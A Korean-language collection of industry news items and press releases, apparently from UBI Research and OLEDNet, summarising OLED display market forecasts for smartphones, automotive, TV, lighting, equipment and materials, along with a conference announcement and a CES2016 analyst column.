유비산업리서치에서 발간한 “2017 OLED Display Annual Report“에 따르면 스마트폰용 AMOLED panel 시장은 2020년 약 US$ 57,000 million의 시장을 형성할 것으로 내다봤으며 이 중 삼성디스플레이가 약 72%를 차지할 것으로 전망했다.

2017년 스마트폰용 AMOLED panel 시장은 flexible AMOLED panel이 적용된 Apple의 iPhone 출시, 중국 set 업체들의 OLED 스마트폰 출하량 증가에 힘입어 큰 폭으로 성장할 것으로 기대 되고있다.

이에 따라 Samsung Display는 2016년부터 대규모 flexible AMOLED panel 양산라인 투자를 진행하였고, 증가하는 flexible AMOLED panel 수요에 맞춰 2017년에도 2016년보다 확대된 규모의 flexible AMOLED panel 양산라인 투자를 진행할 것으로 예상된다. 또한 LG Display를 비롯하여 중국과 일본의 panel 업체들도 flexible AMOLED panel 양산라인을 투자 진행 또는 적극적으로 검토하고 있어 스마트폰용 AMOLED panel 시장은 큰 폭으로 성장할 것으로 기대되고 있다.

“2017 OLED Display Annual Report“ 에서는 이와 같은 투자를 바탕으로 2016년 374.4M개 였던 스마트폰용 AMOLED panel 시장은 2017년 519.7M개로 약 38.8% 성장할 것으로 예상되며, 2020년까지 연평균 39.8%로 성장하여 1,422M개의 시장을 형성할 것으로 전망하였다.

특히 Samsung Display에서 고해상도, flexible AMOLED panel 기술력과 공격적인 투자를 바탕으로후발 업체들과의 격차를 꾸준히 유지할 것으로 예상되어, 후발업체들의 AMOLED panel 양산이 본격적으로 시작될 것으로 예상되는 2018년 이후에도 70% 이상의 시장점유율을 차지할 수 있을 것으로 분석했다.

한편 “2017 OLED Display Annual Report” 에서는 2017년 투자 예상되는 OLED 양산라인 capa 분석과  AMOLED가 적용된 application 트랜드, 주요 panel 업체별 최근 동향과 투자 현황, 서플라이체인을 기술하여 OLED 산업의 큰 흐름을 파악할 수 있도록 하였다. 또한 2011년부터의 AMOLED panel 시장 실적과 2021년까지의 시장 전망을 다양한 관점에서 분석하여 업체들의 시장파악에 도움이 될 것으로 기대된다.

<Samsung Display, 2020년까지 스마트폰용 AMOLED panel 시장점유율 70% 유지>

Automotive display용 OLED panel, 2018년부터 적용 예상, 핵심 이슈는 수명확보

OLED panel이 모바일 기기와 TV에 이어 automotive용 display에도 본격적으로 적용될 것으로 전망된다.

CES2017에서도 자동차용 디스플레이로 flexible OLED가 주력 제품으로 자리 잡고 있음이 pre-event의 Chrysler conference도 명확히 드러났다. (참조: http://www.olednet.com/ces2017-media-day-automotive-chrysler-potal/  )

유비산업리서치에서 발간한 “Automotive Display Report – application & market trend analysis and the market forecast”에 따르면 OLED panel은 2018년부터 자동차의 cluster나 CID에 본격적으로 적용될 수 있을 것으로 예상했으며, 화질의 우수성과 flexibility를 바탕으로 프리미엄급 차량에 우선 적용될 것으로 내다봤다.

완성차 업체들은 친환경, connected, smart, 자율주행 등을 컨셉으로 차별화를 시도하고 있으며, 이에 따라 차량 내부의 interface도 변화하고 있는 추세이다. 특히 connected, smart car, 자율주행 자동차가 발전함에 따라 다양한 정보들을 전달하고 처리해야하며, 기존의 analog 방식으로는 한계가 있다. 따라서 자동차에서 display의 역할이 점점 중요해지고 있으며, display의 영역도 점차적으로 넓어지고 있다. 특히 cluster와 CID는 곡면이 많아 정사각형의 display가 넓은 면적으로 적용되기 어려운 점들이 있으며, 이에 따라 flexible display의 중요성이 강조되고 있다.

AMOLED panel은 빠른 응답속도와 넓은 시야각, 높은 색재현률과 명암비를 바탕으로 운전자에게 높은 시인성을 제공할 수 있으며, flexible이 용이하여 자동차의 어느부분에든 적용가능 하다는 장점으로 완성차 업체들에서 큰관심을 보이고 있으며, 주요패널업체들과 공동개발을 진행중에 있다. 

하지만 AMOLED panel이 자동차에 적용되기 위해서는 수명이 아직 부족하다는 문제가 있다. 보고서에서는 차량용 display 요구조건에 비해 AMOLED panel의 수명은 약 50%정도 확보한 것으로 분석되어 수명확보가 가장 큰 이슈로 꼽았다.

보고서에서는 차량용 display 시장은 연평균 약 17%로 성장하여 2022년까지 약 US$ 25,000 million의 규모가 될 것으로 내다봤으며, 이중 AMOLED panel 시장은 약 20%를 차지할 것으로 전망했다. 

<Automotive display 시장 디스플레이별 점유율 전망 2017~2022>

Solution Process OLED TV 2019년 시장 출시 전망, Mid-end TV 시장 공략

유비산업리서치에서 11 14일 발간한 “Solution Process OLED 시장 진입가능성 분석 보고서”에 따르면 solution process로 제작된 OLED TV 2019년에 시장에 출시될 것으로 내다봤다.

Solution process는 대면적 OLED panel Gen8 이상의 장비에서 원장 분할 없이 RGB pixel 구조로 제조할 수 있는 기술이며 주요 AMOLED panel 업체에서 적극적으로 개발을 진행 중에 있다.

하지만 solution process에 적용되는 발광재료는 기존 증착재료를 ink화 시키기 위해 다양한solvent를 섞기 때문에 증착재료보다 순도가 낮아 발광효율이 떨어지고 수명이 낮을 수 밖에 없다. 그럼에도 불구하고 solution process를 주요 panel 업체들에서 적극적으로 개발하고 있는 이유는 color filter를 사용하지 않고 발광재료 사용효율이 높으며 WRGB방식의 OLED panel에 비해 구조가 단순하기 때문에 원가절감을 할 수 있다는 점이다.

보고서에 따르면 “Solution process OLED용 발광재료 개발이 적극적으로 이루어지고 있지만 프리미엄 시장에 진입하기 위해서는 WRGB 방식보다 효율이 좋아야 한다. 하지만 WRGB는 효율을 20%이상 높일 수 있는 top emission 구조로 개발 중이며 증착재료도 지속적으로 개발이 되고 있어 solution process OLED WRGB의 성능을 넘어서기는 상당히 어려울 것으로 예상된다. 오히려 적당한 수준의 수명과 효율을 바탕으로 mid-end TV 시장을 공략해 LCD를 대체하는 시나리오가 가장 유력할 것.” 으로 내다봤다.

이번에 발간된 Solution Process OLED 시장 진입가능성 분석 보고서에서는 solution process가 적용될 수 있는 OLED QLED, hybrid QD들의 이슈와 시장진입 가능성, 현재 solution process OLED QD 산업의 supply chain, 주요 soluble OLED material 업체들의 성능 비교 분석등을 수록하여 업체들에서 solution process 산업을 파악하는데 도움이 될 것으로 예상된다.

한편 Solution Process OLED 시장 진입가능성 분석 보고서 55inch 이상의 대면적 solution process OLED panel 시장은 2019년부터 본격적으로 양산되기 시작하여 2021년 약 US$ 1,000 million 규모로 성장하여 전체 대면적 OLED panel 시장의 약 15를 차지할 것으로 내다봤다.

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삼성과 애플, 최초의 Full-screen display 스마트폰 타이틀은 누구에게 돌아갈까

Full-screen display가 적용 된 스마트폰을 곧 접할 수 있을 것으로 보인다. 시장조사업체 유비산업리서치가 최근 발간한 ‘Key issue and Market Analysis for Foldable OLED’에 따르면 2017년까지는 좌 bezel이 없는 bezel-less 타입의 flexible OLED가 스마트폰 시장을 주도하고, 그 후에는 좌우 뿐만 아니라 상 bezel도 최소화 하거나 제거 된 형태의 full-screen display 2017년부터 등장하여 이후의 시장을 주도할 것으로 내다봤다.

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<스마트폰 디스플레이 개발 트렌드 전망 (출처: 유비산업리서치)>

구체적인 정황도 포착되고 있다. 애플인사이더는 11(현지시간) 미특허청(USPTO) 발표를 인용하여 애플이 최근 디스플레이에 광 센서가 통합된 전자 장치의 설계특허(US20150303244A1)를 출원했다고 밝혔다.

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<애플이 최근 출원한 광 센서가 통합된 전자 장치 디자인 도면 1>

애플은 이 특허에서 디스플레이 층에 센서를 적용하는 것을 언급하며, 디스플레이의 측면에 주변 광원 센서(Ambient Light Sensor) 또는 근접 센서(Proximity Sensor)를 배치하는 등의 예시와 디스플레이 및 센서회로가 유리 또는 플라스틱으로 만들어진 투명 봉지층에 의해 보호 된다는 예시도 들었다. 애플인사이더는 이러한 디자인이 불필요한 공간을 줄이고 full-screen display가 가능할 것으로 내다봤다.

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<애플이 최근 출원한 광 센서가 통합된 전자 장치 디자인 도면 2>

지난 10 26일 삼성 코엑스에서 개최된 2016 IMID 비즈니스 포럼에서 삼성 디스플레이의 박원상 수석의 스크린 사이즈에 대한 디스플레이 트렌드 발표는 신빙성을 더욱 높혔다. 박원상 수석은 사이즈의 한계가 있는 모바일폰의 특성 상 세트 사이즈 대비 디스플레이의 사이즈는 매우 중요하며, edge displaydisplay area(이하 D.A) 80% 정도였다면 full-screen이 적용 된 모바일폰의 D.A 90% 이상이며 앞으로 시장을 주도하게 될 하나의 트렌드라고 밝혔다. 글라스 일체형 지문 인식, 초음파 기반 지문 인식 등 아직 정확하게 거론 된 기술은 언급되지 않았으나, note7에서 보여 준 좌우 테두리가 없는 bezel-less 타입에서 더 나아가 상하 부분의 bezel 역시 제거하여 기존과 다른 완전히 새로운 형태의 full-screen 스마트폰 등장을 예고하고 있다.

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<삼성디스플레이 발표자료, 2016 IMID 비즈니스포럼>

엘지 역시 full-screen display에 대한 특허를 출원한 적이 있다. 2015 6월에 페이턴틀리모바일 보도 자료를 살펴보면 물리적 버튼 대신 버추얼 버튼과 앱아이콘이 적용 된다는 것을 확인할 수 있다. 하지만 디자인만으로는 외양 외에 어떤 재료와 내장 부품이 사용 될지는 정확하게 알 수 없으며 해당 특허 이후 관련 된 소식도 들리지 않아 실제 개발 여부는 불확실한 상태이다.

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<LG전자가 미국에서 플렉서블 디스플레이를 활용해 디자인한 홈버튼이 없는 스마트폰 디자인(출처 : 페이턴틀리 애플)>

이처럼 스마트폰 업체가 full-screen 디스플레이 도입을 적극 검토하고 있는 이유는 제품의 몰입감과 더불어 소비자가 체감할 수 있는 가장 큰 변화로 꼽히는 것이 디스플레이 때문인 것으로 보인다. 또한 최근 VR 시장이 확대됨에 따라 모바일폰을 장착하는 고글형태의 HMD(Head Mounted Display)에 적용하기 위해서는 Latency 문제가 없는 OLED 디스플레이 적용과 더불어 넓은 디스플레이 영역이 필요하다 라는 의견도 제시되고 있다.

한편 유비산업리서치의 “Key issue and Market Analysis for Foldable OLED’ 보고서에서는 2017 full screen AMOLED panel이 첫 출하될 것으로 내다봤으며, 2020년에는 전체 flexible AMOLED panel 시장의 60%를 차지하며 bezel less type flexible AMOLED panel 시장을 넘어설 것으로 전망했다.

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<Flexible OLED type별 정의와 시장 점유율 전망 (출처: 유비산업리서치)>

 

글로벌 조명용 OLED 시장, 2020년 1조8천억 원…절반이 LG디스플레이

Global OLED lighting panel revenue market share(출처= UBI Research 2016 OLED Lighting Annual Report_

Global OLED lighting panel revenue market share(출처= UBI Research 2016 OLED Lighting Annual Report)

강현주 / jjoo@olednet.com

전세계 OLED 조명 패널 시장이 매년 급성장을 거듭해 오는 2020년에는 한화 1조8천억 원 규모를 형성할 것으로 예측되며, LG디스플레이가 그 중 53%의 점유율을 차지할 것으로 전망된다.

유비산업리서치가 8일 발간한 ‘2016 OLED Lighting Annual Report’에 따르면 글로벌 OLED 조명 패널 시장은 2016년 미화 1억1400만 달러(한화 약 1266억 원) 규모를 형성하고 2017년부터 2025년까지 연평균 66%의 성장률을 기록할 것으로 예상된다.

OLED 조명은 높은 에너지 효율, 응용 분야의 다양성이 장점으로 부각되고 있다. 글로벌 시장에서 백열등 사용규제가 강화된 것도 OLED 조명이 각광받는 요인이다. 이에 글로벌 OLED 조명 패널 시장도 성장을 거듭해 2020년 미화 16억 달러 규모(한화 약 1조8천억 원)를 형성할 전망이다.

LG디스플레이는 OLED lighting 패널 양산 기술을 보유하면서 투자도 단행한 유일한 업체다. 2016년 초 LG화학의 조명용 OLED 사업이 LG디스플레이로 이관된 바 있다.

LG Display는 지난 3월 월 15K 규모의 조명용 5세대 OLED 패널 양산라인 투자를 결정, 이 사업을 본격적으로 확대하고 있다. 이 회사는 2020년 조명용 OLED 패널 매출이 전세계 시장 53%에 해당하는 8억4800만 달러(한화 약 9400억 원)에 달할 것으로 예상된다.

응용 분야별로 보면 일반 실내조명 분야(down light)와 자동차 조명(Automotive)이 급격한 성장세를 기록해 OLED 조명 시장의 가장 큰 비중을 차지할 것으로 예측된다. 이 외에도 야외용, 의료용, 전시용 등 다양한 분야에서 OLED 조명 시장이 확대되고 있다.

한편 오는 2025년 자동차 조명용 OLED 패널 시장은 27억8600만 달러, 실내조명 패널 시장은 34억900만 달러 규모로 성장할 것이라는 게 유비산업리서치의 전망이다.

애플용 AMOLED 장비 시장, 5년간 15조원 규모…전체 6G 플렉서블 장비의 절반

출처 = 유비산업리서치 '

출처 = 유비산업리서치 ‘2016 OLED Manufacturing Equipment Report’

강현주 / jjoo@olednet.com

2016년부터 2020년까지 총 5년간 애플용 AMOLED 장비 시장 규모는 미화 130억 달러(한화 약 15조1400억 원) 규모에 달할 것으로 전망된다.

유비산업리서치가 7일 발간한 ‘2016 OLED Manufacturing Equipment Annual Report’에 따르면 2016년부터 2020년까지 전세계 6세대 플렉서블 AMOLED 장비 시장은 미화 284억1100만 달러(한화 약 33조원) 규모를 형성할 것으로 예상된다. 이 중 애플용만 130억달러로 47%의 점유율을 차지한다.

이는 애플이 오는 2017년 출시할 신규 아이폰 시리즈 일부 모델에 플렉서블 AMOLED를 적용하고 2018년 출시할 신규모델부터는 전량 플렉서블 AMOLED 패널을 적용한다고 가정한 수치다.

애플은 연간 2억대 이상의 스마트폰 판매량으로 전체 스마트폰 시장의 약 15%를 차지하고 있는만큼 앞으로 플렉서블 AMOLED 패널 시장 확대에 큰 영향을 미칠 것으로 예상된다.

글로벌 전체 플렉서블 AMOLED 패널 출하량은 오는 2021년 10억개를 돌파할 것으로 예상된다. 이 중 애플 아이폰에 적용되는 플렉서블 AMOLED 패널은 오는 2017년 20%의 점유율을 기록하고 2021년에는 50%를 넘어설 것이라는 게 유비산업리서치의 전망이다.

유비산업리서치 관계자는 “애플의 플렉서블 AMOLED 패널 수요를 충족시키기 위해 필요한 패널 생산능력(캐파)은 2017년 30k에 이어 2021년 총 300k가 될 것으로 분석된다”며 “이에 따라 패널 업체들의 양산라인 투자도 확대되고 있으며 특히 삼성디스플레이는 애플향으로 매년 30k씩 투자를 할 것으로 예상된다”고 설명했다.

한편 유비산업리서치의 이번 보고서에 따르면 2016년부터 2020년까지 OLED 전체 장비 시장은 미화 약 439억2700만달러 규모를 형성할 것으로 전망된다.

갤럭시 S부터 S7까지 해상도 10배 증가…”갤럭시 S8은 4K UHD 유력”

출처=유비산업리서치 ‘Galaxy S Series의 AMOLED 특성 분석 보고서’

강현주 / jjoo@olednet.com

20103월 삼성전자의 첫 갤럭시 S가 출시된 이래 6년간 총 9종의 갤럭시 S 시리즈가 출시되는 동안 화면사이즈는 1.5인치 커지고 해상도는 약 10배의 증가가 이뤄진 것으로 나타났다.

유비산업리서치가 최근 발간한 갤럭시 S 시리즈의 AMOLED 특성 분석 보고서에 따르면 갤럭시 S’부터 갤럭시 S7 엣지에 이르기까지 이 시리즈에 장착된 AMOLED 패널은 4인치에서 5.5인치로 1.5인치가 늘었으며 해상도는 480×800 WVGA에서 1440×2560 QHD9.6배 증가했다.

갤럭시 S 시리즈에 탑재 되어 온 AMOLED의 변화 추이를 볼 때 오는 2017년 출시될 갤럭시 S8’ 5인치 중후반대가 될 것으로 예상되며 해상도는 UHD 4K(800ppi)가 될 것으로 전망된다.

2010 3월 갤럭시 S 초기 모델이 4인치 화면으로 출시된 이후 매년 증가, S7 S7 엣지는 각각 5.1인치, 5.5인치로 출시되어 초기 S에 비해 약 30% 이상 화면 크기가 증가했다.

삼성전자는 6인치대의 스마트폰도 출시한 바 있으나 지난 2015 6인치대의 제품은 사라지고 5인치대의 화면 사이즈가 삼성전자 전체 스마트폰 제품의 71%를 차지하게 됐다.

그동안 삼성전자에서는 갤럭시 S WVGA를 시작으로 S3HD, S4 S5FHD를 거쳐 S6S7QHD까지 제품 출시가 이뤄졌다.

갤럭시 S 시리즈 해상도 변화 추이 (출처 : Galaxy S Series의 AMOLED 특성 분석 보고서)

갤럭시 S 시리즈는 S3 HD 해상도를 제외하고는 현재 해상도의 개발 주기가 2년 간격으로 다음 해상도로 옮겨가고 있다.

이러한 추세대로라면 2017년 출시될 갤럭시 S85인치대 중후반의 화면 크기에 UHD 4K 해상도를 갖출 것이라 기대할 수 있다.

유비산업리서치 관계자는 최근 삼성디스플레이가 샌프란시스코에서 열린 ‘SID 2016’ VR용으로 전시한 UHD 4K806 ppi를 갖춘 5.5인치 AMOLED는 휘도가 S7과 동등 수준이라며 생산 수율 개선 등을 고려하면 이 디스플레이는 내년에 출시될 갤럭시 S8에 채용될 것으로 예측된다고 설명했다.

2016년 글로벌 OLED 발광재료 시장 7700억 원 규모…삼성·LG 쓰는 돈만 94%

OLED Emitting Material 시장 전망(출처=유비산업리서치 2016 Emmiting Materials Annual Report)

강현주 기자 / jjoo@olednet.com

올해 글로벌 OLED 발광재료( Emitting Material ) 시장은 전년대비 약 16% 성장한 미화 6억7700만 달러(한화 약 7700 억원) 규모를 형성할 전망이다.

유비산업리서치가 발간한 ‘2016 OLED 발광재료 보고서(2016 OLED Emitting Materials Annual Report)’에 따르면 2016년부터 전세계 OLED 발광재료 시장은 연평균 46%의 성장률을 그리며 2021년 43억2300만 달러(한화 약 4조 9250억 원) 규모에 달할 것으로 예상된다.

이처럼 OLED 발광재료 시장이 고성장을 지속하는 요인에는 AMOLED 장착 스마트폰 및 대면적 OLED 패널 양산 증가 등이 있다.

올해 AMOLED 패널을 장착한 갤럭시 S7 시리즈의 흥행이 예상될 뿐 아니라 보급형 갤럭시 시리즈의 AMOLED 적용도 지난해보다 증가할 예정이다.

LG Display에서도 올해 대면적 OLED panel 생산을 2015년보다 크게 늘릴 계획이다. 중국의 패널 업체들도 2016년부터 본격적인 AMOLED 패널 양산에 돌입할 예정이다.

이에 따라 전세계 디스플레이 시장에 투입되는 OLED 발광재료의 양도 늘어나게 된다.

2016년 전세계에서 사용될 OLED 발광재료 수요는 약 38 톤으로 관측된다. 이 중 한국에서 사용될 것으로 예상되는 OLED 발광재료양은 전체 수요의 93%에 달하는 약 36 톤에 이를 전망이다.

한국의 두 OLED 패널 제조사인 삼성디스플레이와 LG디스플레이가 사용하는 양만 전세계 93%라는 얘기다. 삼성디스플레이가 전체 수요의 64%, LG디스플레이가 29%의 비중이다.

금액 기준으로는 올해 시장 규모 6억7700만 달러 중 삼성디스플레이와 LG디스플레이가 차지하는 비중은 94%에 이를 것으로 예상된다.

BOE 등 주요 중국 패널 업체들도 AMOLED 양산라인 투자를 진행 또는 계획하고 있어 2017년부터는 중국의 발광재료 수요가 늘어날 예정이다. 이에 따라 글로벌 OLED 발광재료 수요 중 중국의 비중은 해마다 늘어나고 한국의 비중은 줄어들 전망이다.

2016년 AMOLED 시장 한국이 ‘점령’…글로벌 점유율 95% 차지

2016년~2020년 AMOLED 시장 출하량(출처:유비산업리서치 2016 OLED Display Annual Report)

올해 전세계 AMOLED 패널 시장은 한국이 95%의 점유율을 차지하며 압도적인 주도권을 확보할 전망이다.

유비산업리서치에서 최근 발간한 ‘2016 OLED Display Annual Report’에 따르면 2016년 한국에서 생산될 AMOLED 패널의 양은 약 2억7천만개로 전세계 출하량의 약 95%를 차지할 것으로 예상된다.

AMOLED 패널 시장 매출액 역시 한국이 2016년 미화 142억1800만달러로 전체시장의 96%를 차지할 전망이며 오는 2020년까지 약 70% 이상의 시장 점유율을 유지, 향후 수년 이상 세계 시장 주도권을 쥘 것으로 보인다.

이는 글로벌 유력 스마트폰 업체들의 AMOLED 적용 확대에 대해 국내 디스플레이 업계가 적극 대응하고 있기 때문인 것으로 분석된다.

삼성전자는 2016년 AMOLED 패널이 적용된 갤럭시 시리즈를 4,700만대 이상 판매할 것으로 전망된다. 애플 역시 제품 차별화를 위해 향후 아이폰 시리즈에 AMOLED 패널을 적용할 것이라는 예상이 우세한 상황이다.

LG디스플레이, 삼성디스플레이 등은 이 같은 수요에 대비하기 위해 2016년 1분기부터 AMOLED 패널 양산 라인 투자에 본격적으로 나서고 있다.

한국을 제외하고 전세계 AMOLED 시장에서 가장 빠른 행보를 보이는 국가는 중국이다. 중국은 2016년 AMOLED 패널을 약 1,100만개 생산, 전세계 출하량의 약 4%를 차지할 전망이며 95%인 한국에 이어 2위에 오를 전망이다. 중국은 매해 점유율을 늘려가며 오는 2020년에는 전세계 AMOLED 패널 출하량의 24%를 차지, 한국과의 격차를 줄여나갈 것으로 보인다.

중국의 AMOLED 패널 시장 매출액도 2016년 미화 약 5억달러에서 2020년 137억달러로 20%의 글로벌 점유율을 차지하며 큰 폭의 성장세를 그릴 것으로 예상된다.

한편 유비산업리서치의 본 보고서에 따르면 2016년 글로벌 AMOLED 시장은 미화 약 150억달러 규모를 형성하고 오는 2020년에는 약 700억달러 규모로 성장할 전망이다.

2016년 AMOLED 시장, 2015년보다 약 40% 상승한 US$ 15,000 million 예상.

유비산업리서치에서 발간한 2016 OLED Display Annual Report에 따르면 2016년 AMOLED panel 시장은 2015년보다 약 40% 상승한 US$ 15,000 million 규모가 될 것으로 전망했다. 출하량도 전년대비 16% 상승한 약 2억 7천만 개로 예상하며 2016년은 AMOLED 산업이 재도약 할 수 있는 한 해가 될 것으로 전망했다.

유비산업리서치는 “삼성전자가 Galaxy 보급형 모델에 AMOLED panel을 적극적으로 채택하고 있고, 중국의 set업체에서도 AMOLED panel의 수요가 증가하고 있다. 여기에 Apple의 iPhone에도 flexible AMOLED panel 적용이 확실시 되고 있으며, OLED TV 판매량도 점차적으로 증가하고 있어 LCD를 점차적으로 대체할 것으로 기대된다.” 라고 밝혔다. 특히 mobile 기기용 AMOLED 시장 관련하여 “Flexible AMOLED panel을 탑재할 set에 대한 시장을 분석한 결과 2020년까지 약 월 500K(Gen6기준) 정도 요구될 것으로 예상되어 본격적인 flexible AMOLED 투자가 지속적으로 진행될 것으로 기대된다.”라고 밝혔다.

AMOLED 시장은 2014년 성장이 잠시 주춤했지만 보급형 AMOLED panel과 flexible AMOLED panel 수요 증가로 인하여 2015년 다시 한번 큰 폭으로 성장하였다. 이에 따라 삼성전자와 더불어 전체 smart phone 시장을 주도하고 있는 Apple의 iPhone에 flexible AMOLED panel 적용을 위한 투자가 적극적으로 검토 중에 있다. 또한 중국과 일본, 대만의 panel 업체들 에서도 flexible AMOLED panel에 대한 투자를 할 것으로 기대되고 있는 상황으로 OLED 관련 산업이 침체되어 있는 display산업에 활력을 불어넣을 것으로 예상된다.

한편 본 보고서에 따르면 AMOLED panel 시장은 2015년 약 2억 3천만 개로 US$ 10,000 million을 돌파하며 전년대비 약 25%의 성장 한 것으로 집계하였으며, 2020년까지 연평균 성장률 약 46%로 성장하여 US$ 67,000 million 규모의 시장이 될 것으로 전망하였다.

AMOLED panel 시장 전망(2016~2020)

제 2회 OLED Korea Conference D-22로 다가와

세계 최대의 OLED International Business Conference로 주목받고 있는 제 2회 OLED Korea Conference가 22일 앞으로 다가왔다. 이번 제 2회 OLED Korea Conference에서는 OLED industry를 주도하고 있는 panel 업체인 Samsung Display와 LG Display에서 keynote session 발표가 예정되어 있으며 이를 통해 앞으로 OLED industry가 나아갈 방향에 대해서 전망할 수 있을 것으로 기대된다. 또한, 유비산업리서치에서는 급변하고 있는 OLED industry에 대해 현 상황과 앞으로의 전망을 짚어볼 예정이며   중국의 Visionox에서도 flexible AMOLED에 대한 잠재력과 앞으로의 시장에 대해 다룰 전망이다.

이밖에도 차세대 backplane 기술과 AMOLED 양산기술, OLED산업이 직면하고 있는 이슈, OLED이후의 display로 주목받고 있는 QLED, OLED가 적용될 수 있는 다양한 application등 다양한 주제의 session으로 구성되어 있다. 따라서 display panel 업체뿐만 아니라 재료업체, 장비업체, 대학, 연구소등 display 산업 관련 종사자들에게 앞으로 다가올 차세대display 산업에 대응할 수 있고 다양한 정보와 의견 교환의 장이 마련될 것으로 예상된다.

특히 OLED Reception을 통해 딱딱한 토론에서 벗어나 편안한 분위기 속에서의 대화를 통해 미래의 OLED 그려 볼 수 있는 가치있는 시간이 될 것으로 기대된다.

제 2회 OLED Korea Conference 는 2016년 2월 24일부터 25일까지 이틀 동안 The-K Seoul Hotel에서 개최되며, 총 9개 session, Samsung Display와 LG Display를 포함한 30명의 연사자들이 발표하고 약 200명 이상의display관련 산학연 종사자들 참석할 예정이다.

2월23일까지 사전등록 기간으로, 기간내 등록시 약 10% 할인된 금액으로 등록가능하며 좌석이 한정되어 있어 빠른 등록을 추천한다고 전했다. 컨퍼런스 참가신청은 ‘제2회 OLED KOREA Conference‘ 공식홈페이지(www.oledkoreaconference.com)를 통해 할 수 있으며 관련 문의사항은 오하나 과장(hanaoh@ubiresearch.co.kr)로 하면 된다.

OLED encapsulation용 transparent gas barrier film 시장, 어디까지 성장 가능할까?

현재 flexible AMOLED의 encapsulation은 유기 박막과 무기 박막을 적층하는 thin film encapsulation과 최소한의 passivation과 gas barrier film을 laminating하는 hybrid encapsulation이 양산에 적용 중에 있다. 대면적 AMOLED panel은 빛이 기판방향으로 발광되는bottom emission 구조로 양산되고 있기 때문에 metal foil을 적용한 hybrid encapsulation이 적용되고 있다.

하지만 mobile용 flexible AMOLED panel 에 적용중인 TFE 방식은 고가의 장비들이 사용되어 투자비용이 높아지고 공정 수가 늘어나 양산 효율이 낮아지는 단점이 있어 cost 절감에 적합하지 않다.  대면적에서는 고해상도와 고휘도가 요구되어짐에 따라 top emission 구조의 AMOLED panel이 개발 중이며, top emission 구조 적용 시 투명한 encapsulation이 필수적이다.

이러한 트랜드에 따라 next encapsulation에 대한 필요성이 대두되고 있으며 특히 transparent gas barrier film encapsulation에 대한 관심이 높아지고 있다. 현재 양산 적용 중인 hybrid 구조에 적용되는 transparent gas barrier film은 encapsulation 요구조건인 10-6  g/m2day 의 WVTR보다 낮은 10-4 g/m2day의 WVTR 제품이 적용 중이지만 R&D 단계에서는  10-6  g/m2day  WVTR 개발이 완료된 상황으로 transparent gas barrier film만으로 encapsulation이 가능해 질 수 있으며 이와 관련된 연구개발도 활발히 이루어 지고 있는 추세이다.

유비산업리서치에서 발간한 2016 OLED Encapsulation Report에 따르면 “Transparent gas barrier film encapsulation은 TFE보다 투자비용을 줄일 수 있으며 대면적 top emission 구조에도 적용 가능하여 높은 시장 성장이 기대되는 encapsulation이다.”라고 밝혔다.

유비산업리서치는 2017년 이후 추가되는 mobile과 대면적 신규라인에서 transparent gas barrier film을 적용한 encapsulation이 적용될 경우 transparent gas barrier film시장은 2020년 약 US$ 700 million 규모까지 성장 가능할 것으로 분석하였다.

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[Analyst Column] CES2016 press conference 비교 분석, 삼성전자 TV vs LG전자 TV

이충훈/Chef Analyst, UBI Research

 

CES의 가장 중요한 업체인 삼성전자가 press conference를 할 때는 미디어들은 한 시간 이상을 줄 서서 기다리며 삼성전자 보여줄 새로운 세상을 기대한다. LG전자는 그다지 긴 줄이 아니기 때문에 대기 시간이 상대적으로 적다.

하지만 이번 CES2016 의 press conference는 모두의 기대치와 전혀 다르게 나타났다. CES와 IFA에서 가전 업체들의 얼굴 마담은 TV이다. 하지만 삼성전자의 행사에 보여진 TV는 이전과 똑 같은 SUHD로 끝나고 말았다. 대신에 VR과 USB Adaptor, Samsung Pay와 같은 ICT 분야가 부각되었다. CES2015에서는 curved design을 가미한 SUHD TV로서 환호성을 받았으나 달라진 점은 SUHD 글자 밑에 Quantum dot display라는 글자가 존재한 것뿐이었다.

새로운 디자인과 공격적인 마케팅으로 시장의 Rule Maker였던 삼성전자에서 이미 SUHD TV용 LCD 패널에 적용하고 있는 quantum dot이라는 용어만 덧 부쳐 나온 것은 LCD TV가 더 이상 좋아질 수 없음을 나타내는 고육지책인 것으로 분석 된다.

이에 비해 LG전자의 행사는 800nit peak brightness로 향상된 OLED TV가 등장 함으로서 TV 시장이 다시 한 번 성장할 수 있는 비전을 제시했다. 특히 NASA 촬영한 우주 속 태양의 깊은 black과 역동적인 태양의 붉은 색을 눈으로 보듯 생동감을 OLED TV로서 처음 접한 참관자들은 환호와 박수를 아끼지 않았다. 우주 비행사들만이 볼 수 있는 진정한 장면을 OLED TV로서 볼 수 있게 된 것이다. 진정한 디스플레이가 무엇임을 모두가 실감할 수 있는 자리였다.

물론 consumer market의 최대 시장은 smart phone이기 때문에 TV만 가지고서 삼성전자가 LG전자에 비해 이렇다 말하는 것은 어불성설이다. 하지만 삼성전자의 smart phone 사업 역시 작년에는 답보 상태에 머무르며 반도체를 제외한 전 사업이 하향 곡선을 거리고 있어 삼성전자에 기대치가 높은 수 많은 삼성 팬들은 우려가 심각하게 깊다.

실제로 지난 반세기 가전 산업을 이끌었던 Sony와 Panasonic, Toshiba 등이 모두 몰락의 길을 걷게 된 것은 시장이 정체되었을 때 패러다임을 바꿀 수 있는 기술과 제품이 없었기 때문이다. 이러한 나쁜 징조가 삼성전자에서 나타났다.

TCL을 비롯한 중국의 TV 세트 업체들 역시 모두 quantum dot 기술이 적용된 LCD TV를 CES2016에 들고 나왔다. 8K TV도 전시했다. 아직 중국 TV 업체들의 화질 컨트롤 기술이 삼성전자나 LG전자, Sony 등에 비해서는 부족한 것으로 보여지지만 세트 외관은 모두 대등한 수준에 도달했으며, 가격은 이들 선발 기업들의 70% 이하이다. TV나 디스플레이 전문가가 아니면 화질 차이를 구별하기 어렵다. “싼 것이 비지 떡”이 아니라 싸도 충분히 만족할 수 있는 좋은 제품들이 중국에서 홍수처럼 쏟아지고 있다.

OLED TV를 만들 수 없는 삼성전자가 하반기에 있을 IFA 등의 세계적인 행사에서 작년처럼 흥행을 유지하기 위해서는 확실한 얼굴 마담을 대체할 수 있는 초 대형 이슈와 제품이 시급하게 나와야 한다.

투명 OLED, OLED 산업의 신 성장동력 될까?

유비산업리서치에서 발간한 2016 투명 OLED 보고서에 따르면 대면적 투명 AMOLED 시장은 2020년까지 약US$ 5,300 million의 규모로 성장할 것으로 내다봤다.

